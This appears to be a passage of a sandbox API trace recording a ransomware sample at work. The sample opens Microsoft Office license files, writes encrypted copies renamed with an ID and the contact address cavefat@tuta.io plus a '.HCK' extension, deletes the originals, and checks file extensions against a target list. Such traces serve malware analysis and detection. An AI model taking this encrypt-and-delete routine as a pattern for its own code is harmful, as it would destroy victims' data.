GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.502] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.502] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.503] GetLastError () returned 0x0 [0238.503] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x564e, lpOverlapped=0x0) returned 1 [0238.505] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5650, lpOverlapped=0x0) returned 1 [0238.506] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.506] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x118, lpOverlapped=0x0) returned 1 [0238.506] SetEndOfFile (hFile=0x4ac) returned 1 [0238.506] CloseHandle (hObject=0x4ac) returned 1 [0238.506] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.506] SetEndOfFile (hFile=0x564) returned 1 [0238.509] CloseHandle (hObject=0x564) returned 1 [0238.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1 [0238.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.510] lstrlenW (lpString=".doc") returned 4 [0238.510] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.510] lstrlenW (lpString=".docx") returned 5 [0238.510] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.510] lstrlenW (lpString=".pdf") returned 4 [0238.510] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.510] lstrlenW (lpString=".xls") returned 4 [0238.510] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.510] lstrlenW (lpString=".xlsx") returned 5 [0238.510] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.510] lstrlenW (lpString=".ppt") returned 4 [0238.510] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.510] lstrlenW (lpString=".zip") returned 4 [0238.510] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.510] lstrlenW (lpString=".rar") returned 4 [0238.510] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.510] lstrlenW (lpString=".bz2") returned 4 [0238.510] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.510] lstrlenW (lpString=".7z") returned 3 [0238.510] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.511] lstrlenW (lpString=".dbf") returned 4 [0238.511] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.511] lstrlenW (lpString=".1cd") returned 4 [0238.511] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.511] lstrlenW (lpString=".jpg") returned 4 [0238.511] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.511] lstrlenW (lpString=".doc") returned 4 [0238.511] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString=".docx") returned 5 [0238.511] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.511] lstrlenW (lpString=".pdf") returned 4 [0238.511] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString=".xls") returned 4 [0238.511] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString=".xlsx") returned 5 [0238.511] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.511] lstrlenW (lpString=".ppt") returned 4 [0238.511] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.511] lstrlenW (lpString=".zip") returned 4 [0238.511] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString=".rar") returned 4 [0238.511] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString=".bz2") returned 4 [0238.511] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString=".7z") returned 3 [0238.511] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.511] lstrlenW (lpString=".dbf") returned 4 [0238.511] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.511] lstrlenW (lpString=".1cd") returned 4 [0238.511] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0238.511] lstrlenW (lpString=".jpg") returned 4 [0238.511] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.511] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.511] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 37 [0238.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.512] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11621) returned 1 [0238.512] CloseHandle (hObject=0x564) returned 1 [0238.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220 [0238.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.513] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.513] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.514] GetLastError () returned 0x0 [0238.514] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0238.516] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0238.516] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.516] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11e, lpOverlapped=0x0) returned 1 [0238.517] SetEndOfFile (hFile=0x4ac) returned 1 [0238.517] CloseHandle (hObject=0x4ac) returned 1 [0238.517] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.517] SetEndOfFile (hFile=0x564) returned 1 [0238.520] CloseHandle (hObject=0x564) returned 1 [0238.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1 [0238.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.522] lstrlenW (lpString=".doc") returned 4 [0238.522] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString=".docx") returned 5 [0238.522] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.522] lstrlenW (lpString=".pdf") returned 4 [0238.522] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString=".xls") returned 4 [0238.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString=".xlsx") returned 5 [0238.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.522] lstrlenW (lpString=".ppt") returned 4 [0238.522] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.522] lstrlenW (lpString=".zip") returned 4 [0238.522] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString=".rar") returned 4 [0238.522] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString=".bz2") returned 4 [0238.522] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString=".7z") returned 3 [0238.522] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.522] lstrlenW (lpString=".dbf") returned 4 [0238.522] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.522] lstrlenW (lpString=".1cd") returned 4 [0238.522] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.522] lstrlenW (lpString=".jpg") returned 4 [0238.522] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.522] lstrlenW (lpString=".doc") returned 4 [0238.522] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString=".docx") returned 5 [0238.522] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.522] lstrlenW (lpString=".pdf") returned 4 [0238.522] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString=".xls") returned 4 [0238.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString=".xlsx") returned 5 [0238.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.522] lstrlenW (lpString=".ppt") returned 4 [0238.522] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.523] lstrlenW (lpString=".zip") returned 4 [0238.523] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.523] lstrlenW (lpString=".rar") returned 4 [0238.523] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.523] lstrlenW (lpString=".bz2") returned 4 [0238.523] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.523] lstrlenW (lpString=".7z") returned 3 [0238.523] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.523] lstrlenW (lpString=".dbf") returned 4 [0238.523] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.523] lstrlenW (lpString=".1cd") returned 4 [0238.523] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0238.523] lstrlenW (lpString=".jpg") returned 4 [0238.523] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.523] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.523] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 37 [0238.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.524] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19966) returned 1 [0238.524] CloseHandle (hObject=0x564) returned 1 [0238.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220 [0238.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.524] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.524] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.786] GetLastError () returned 0x0 [0238.786] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0238.790] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0238.791] ReadFile (in: hFile=0x564, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.791] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11e, lpOverlapped=0x0) returned 1 [0238.791] SetEndOfFile (hFile=0x4ac) returned 1 [0238.792] CloseHandle (hObject=0x4ac) returned 1 [0238.792] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.792] SetEndOfFile (hFile=0x564) returned 1 [0238.801] CloseHandle (hObject=0x564) returned 1 [0238.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1 [0238.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.805] lstrlenW (lpString=".doc") returned 4 [0238.805] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString=".docx") returned 5 [0238.805] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.805] lstrlenW (lpString=".pdf") returned 4 [0238.805] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString=".xls") returned 4 [0238.805] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString=".xlsx") returned 5 [0238.805] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.805] lstrlenW (lpString=".ppt") returned 4 [0238.805] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.805] lstrlenW (lpString=".zip") returned 4 [0238.805] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString=".rar") returned 4 [0238.805] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString=".bz2") returned 4 [0238.805] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString=".7z") returned 3 [0238.805] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.805] lstrlenW (lpString=".dbf") returned 4 [0238.805] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.805] lstrlenW (lpString=".1cd") returned 4 [0238.805] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.805] lstrlenW (lpString=".jpg") returned 4 [0238.805] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.805] lstrlenW (lpString=".doc") returned 4 [0238.805] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.805] lstrlenW (lpString=".docx") returned 5 [0238.805] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.805] lstrlenW (lpString=".pdf") returned 4 [0238.806] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.806] lstrlenW (lpString=".xls") returned 4 [0238.806] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.806] lstrlenW (lpString=".xlsx") returned 5 [0238.806] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.806] lstrlenW (lpString=".ppt") returned 4 [0238.806] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.806] lstrlenW (lpString=".zip") returned 4 [0238.806] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.806] lstrlenW (lpString=".rar") returned 4 [0238.806] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.806] lstrlenW (lpString=".bz2") returned 4 [0238.806] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.806] lstrlenW (lpString=".7z") returned 3 [0238.806] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.806] lstrlenW (lpString=".dbf") returned 4 [0238.806] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0238.806] lstrlenW (lpString=".1cd") 